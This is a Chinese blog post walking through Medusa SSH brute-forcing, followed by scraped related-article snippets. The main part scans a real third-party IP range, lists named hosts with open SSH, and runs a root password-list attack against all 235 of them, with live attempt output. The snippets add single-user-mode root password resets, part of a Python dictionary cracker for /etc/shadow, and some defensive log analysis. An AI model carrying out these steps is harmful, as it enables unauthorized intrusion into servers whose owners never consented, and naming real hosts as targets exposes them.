利用medusa破解linux ssh密码

From 一不小心高潮了‘blog

蛋疼,随手写一下,medusa破解起来还是比较快的,首先我们看看帮助

[email protected]:/pentest/exploits/framework3# medusa
Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module‘s usage information
-v [NUM] : Verbose level [0 - 6 (more)]
-w [NUM] : Error debug level [0 - 10 (more)]
-V : Display version
-Z [NUM] : Resume scan from host #

ok,我们看看medusa有哪些模块支持什么功能的破解

[email protected]:/pentest/exploits/framework3# medusa -d
Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>

Available modules in "." :

Available modules in "/usr/lib/medusa/modules" :
+ cvs.mod : Brute force module for CVS sessions : version 1.0.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 1.3.0
+ http.mod : Brute force module for HTTP : version 1.3.0
+ imap.mod : Brute force module for IMAP sessions : version 1.2.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 1.1.1
+ mysql.mod : Brute force module for MySQL sessions : version 1.2
+ ncp.mod : Brute force module for NCP sessions : version 1.0.0
+ nntp.mod : Brute force module for NNTP sessions : version 1.0.0
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 1.0.2
+ pop3.mod : Brute force module for POP3 sessions : version 1.2
+ postgres.mod : Brute force module for PostgreSQL sessions : version 1.0.0
+ rexec.mod : Brute force module for REXEC sessions : version 1.1.1
+ rlogin.mod : Brute force module for RLOGIN sessions : version 1.0.2
+ rsh.mod : Brute force module for RSH sessions : version 1.0.1
+ smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 1.5
+ smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 1.0.0
+ smtp.mod : Brute force module for SMTP Authentication with TLS : version 1.0.0
+ snmp.mod : Brute force module for SNMP Community Strings : version 1.0.0
+ ssh.mod : Brute force module for SSH v2 sessions : version 1.0.2
+ svn.mod : Brute force module for Subversion sessions : version 1.0.0
+ telnet.mod : Brute force module for telnet sessions : version 1.2.2
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 1.0.1
+ vnc.mod : Brute force module for VNC sessions : version 1.0.1
+ web-form.mod : Brute force module for web forms : version 1.0.0
+ wrapper.mod : Generic Wrapper Module : version 1.0.1

恩,我们要破解ssh,所以用-M ssh参数加载ssh模块,后面不用跟.mod

首先我们确定目标,扫描开放ssh的机器,随便找个段扫描一下吧

[email protected]:/pentest# nmap -sV -p22 -oG ssh 69.163.190.0/24

然后是漫长的等待,上面的参数扫描意思是,扫描整个段开了22端口的机器,并且判断服务版本,保存到ssh文件中。

然后我们查看扫描结果

[email protected]:/pentest# cat ssh
# Nmap 5.00 scan initiated Tue Jun 22 02:18:28 2010 as: nmap -sV -p22 -oG ssh 69.163.190.0/24

Host: 69.163.190.1 (ip-69-163-190-1.dreamhost.com) Ports: 22/closed/tcp//ssh///
Host: 69.163.190.2 (ip-69-163-190-2.dreamhost.com) Ports: 22/closed/tcp//ssh///
Host: 69.163.190.3 (ip-69-163-190-3.dreamhost.com) Ports: 22/closed/tcp//ssh///
Host: 69.163.190.4 (dragich.shaggy.dreamhost.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
Host: 69.163.190.5 (myrck.spongebob.dreamhost.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
Host: 69.163.190.6 (apache2-twang.luthor.dreamhost.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
Host: 69.163.190.7 (ps11591.dreamhost.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
Host: 69.163.190.8 (ps10854.dreamhost.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
Host: 69.163.190.9 (rangerjill.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
Host: 69.163.190.10 (ouellette.yogi.dreamhost.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
Host: 69.163.190.11 (psmysql11957.dreamhostps.com) Ports: 22/open/tcp//ssh//OpenSSH 4.3p2 Debian 9etch2 (protocol 2.0)/
Host: 69.163.190.12 (rubeo.yogi.dreamhost.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
Host: 69.163.190.13 (alt-malware.com) Ports: 22/open/tcp//ssh//OpenSSH 5.1p1 Debian 5 (protocol 2.0)/
类似这样的,这里我们要整理一下,把开了ssh的IP整理出来,现在明白oG保存的意义所在了

[email protected]:/pentest# grep 22/open ssh | cut -d " " -f 2 >>ssh1.txt

这条命令里用到了cut,详细用法为就不罗嗦了。查看结果

[email protected]:/pentest# cat ssh1.txt
69.163.190.4
69.163.190.5
69.163.190.6
69.163.190.7
69.163.190.8
69.163.190.9
69.163.190.10
69.163.190.11
69.163.190.12
69.163.190.13
69.163.190.14
69.163.190.15
69.163.190.16
69.163.190.17
69.163.190.18
69.163.190.19
69.163.190.22
69.163.190.23
69.163.190.24
69.163.190.25
69.163.190.26
69.163.190.27
69.163.190.28
69.163.190.29
69.163.190.30
69.163.190.31
69.163.190.32
69.163.190.33
69.163.190.34
69.163.190.35
69.163.190.36
69.163.190.37
69.163.190.38
69.163.190.39
69.163.190.40
69.163.190.41
69.163.190.42
69.163.190.43
69.163.190.44
69.163.190.45
69.163.190.46
69.163.190.47
69.163.190.48
69.163.190.49
69.163.190.50
69.163.190.51
69.163.190.52
69.163.190.53
变成这样的了,接下来,我们开始随便找个字典,开始破解ssh密码

[email protected]:/pentest# medusa -H ssh1.txt -u root -P p.txt -M ssh

[email protected]:/pentest# medusa -H ssh1.txt -u root -P p.txt -M ssh
Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>

ACCOUNT CHECK: [ssh] Host: 69.163.190.4 (1 of 235, 1 complete) User: root (1 of 1, 1 complete) Password: root (1 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.4 (1 of 235, 1 complete) User: root (1 of 1, 1 complete) Password: admin (2 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.4 (1 of 235, 1 complete) User:
root (1 of 1, 1 complete) Password: oracle (3 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.4 (1 of 235, 1 complete) User:
root (1 of 1, 1 complete) Password: tomcat (4 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.4 (1 of 235, 1 complete) User:
root (1 of 1, 1 complete) Password: postgres (5 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.4 (1 of 235, 1 complete) User:
root (1 of 1, 1 complete) Password: webmin (6 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.4 (1 of 235, 1 complete) User:
root (1 of 1, 1 complete) Password: fuckyou (7 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.5 (2 of 235, 2 complete) User: root (1 of 1, 1 complete) Password: root (1 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.5 (2 of 235, 2 complete) User: root (1 of 1, 1 complete) Password: admin (2 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.5 (2 of 235, 2 complete) User:
root (1 of 1, 1 complete) Password: oracle (3 of 7 complete)
ACCOUNT CHECK: [ssh] Host: 69.163.190.5 (2 of 235, 2 complete) User:
root (1 of 1, 1 complete) Password: tomcat (4 of 7 complete)
ok,等吧,这段时间你可以那啥一下,或者找个那啥片那啥一下,结果最后会自动显示。

时间: 2024-11-14 16:59:42

利用medusa破解linux ssh密码的相关文章

查看哪些ip破解你ssh密码以及次数

在互联网中,总有一些无聊的人,每天不断的猜解别人服务器的密码!作为linux服务器的管理员,我们应该了解哪些IP经常不断地扫描我们的SSH端口以尝试暴力破解,下面我们用一条命令简单列出哪些IP破解你SSH密码以及次数. cat /var/log/secure | awk '/Failed/{print $(NF-3)}' | sort | uniq -c | awk '{print $2" = "$1;}' 这里还是建议大家修改一下服务器的远程连接端口,以免被真的扫描到你的密码影响服务

破解linux系统密码

个人实践: 重新启动系统2.开机倒数时间内,敲任意键3.按字母e去编辑4.选择kernel 开头的行,再次按字母e 编辑  ,然后敲空格 输入数字1,再敲回车.进入单用户模式,破解密码.此模式绕过密码验证5.按字母键b 去引导进入系统6.直接passwd 修改root用户的密码7.输入init 5或者init 3 进入系统,或者reboot重新启动系统 其余系统参考档案:在出现系统选择界面时,在Red Hat Linux的选项上按"e"键, 然后会出现三个选项,在"kerne

破解linux root密码

破解linux root密码: 开机后,点击"e"进入维护模式,选择"内核选项",如下图所示: 再按"e"键,进入到编辑,在后面输入1,按回车退出,如下图: 再按"b"键,进入到单用户模式下,如下图: 进入到单用户模式后,输入密码设置指令:passwd root,按提示输入指令,修改后重启即可,如下图所示: 破解linux root密码

字典法暴力破解Linux用户密码

Linux系列的很多操作系统是采用MD5加密用户密码的,加密的过程是单向的,所以要破解只能采用暴力破解法. 下面分享个程序来破解root用户密码. 程序会遍历字典文件中的每个密码,加密后和/etc/shadow中的密码匹配,如果相同则返回成功. #!/usr/bin/env python import crypt import sys import re dic = [ 'cookie', 'test', 'fuckyou' ] passwordfile = '/etc/shadow' def

如何破解Linux开机密码

1.在开机自检后,出现grup引导界面时,按E键进入编辑模式,如下图所示 2.把光标移到带有"kernel"字样的那一行,然后按E键编辑,如图: 3.在末尾按一个空格,输入数字1,再按回车键回到之前的界面.改行的意思是加载内核,末尾的参数1,该命令不能识别,所以它会将这个参数1传递给系统启动后的第一个进程,而系统启动的第一个进程是init,init 1就是进入单用户模式.如图: 4.(1).按B键启动系统,启动完成后.注意看,提示符是#号,表示已经是root身份了.直接用命令更改密码.

破解Linux系统开机密码

在我们使用Linux虚拟机的时候,经常会忘记自己设置的开机密码,无奈之下只有重新建一个虚拟机,然而新建往往会浪费掉我们很多时间,这时候,知道如何破解Linux系统密码就显得很重要了. 下面我们使用boot方法破解Linux的开机密码: 一.操作系统 CentOS6.5(其他Linux系统类似) 二.操作步骤 1.忘记了root的登录密码,登陆时显示"鉴定故障" 2.这时先重启CentOS6.5虚拟机,在虚拟机的上部,点击"挂起"按钮上的下拉三角形,点击"重

防止ssh暴力破解linux密码

网上看到一篇安全方面的文章,常用的网站收藏无法收藏,于是放这里先.具体功能还未测试,请慎用. 下面是博客原文转载,感谢作者辛苦劳动: 服务器在互联网中,每天都有些没事儿干的人在你的机器端口扫来扫去,让管理员非常烦恼.本文描述一个方法,利用本文介绍的脚本结合iptables服务一并使用,用来防止公网计算机通过ssh进行用户口令暴力破解.目前稳重脚本已经在其他项目的实际运营环境中得到验证. 脚本内容: #!/bin/bash # 防SSH密码暴力破解脚本 # 通过分析secure日志文件使用ipta

linux暴力密码破解工具hydra安装与使用

说明:hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码.官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, H

零基础Linux教程第四课“SSH密匙登录Linux,WinSCP教程,修改Linux用户密码”

Linux SSH登录方式 使用密码登录 这种方式最为原始,也是常见的SSH登录Linux的验证方法,但其安全性不高.如果你的Linux系统设置的登录密码简单,黑客们就可以利用扫描加字典的破译方式获取你的密码,因此,为了Linux系统的安全性,我推荐使用第二种方式登录Linux 使用密匙登录 用密钥的验证方式,需要自己创建一对私钥,并把共有的共钥放远程Linux主机上.当需要连接到远程Linux主机时,客户端软件就会向远程Linux主机发送请求,请求使用私钥进行验证.远程Linux主机收到请求之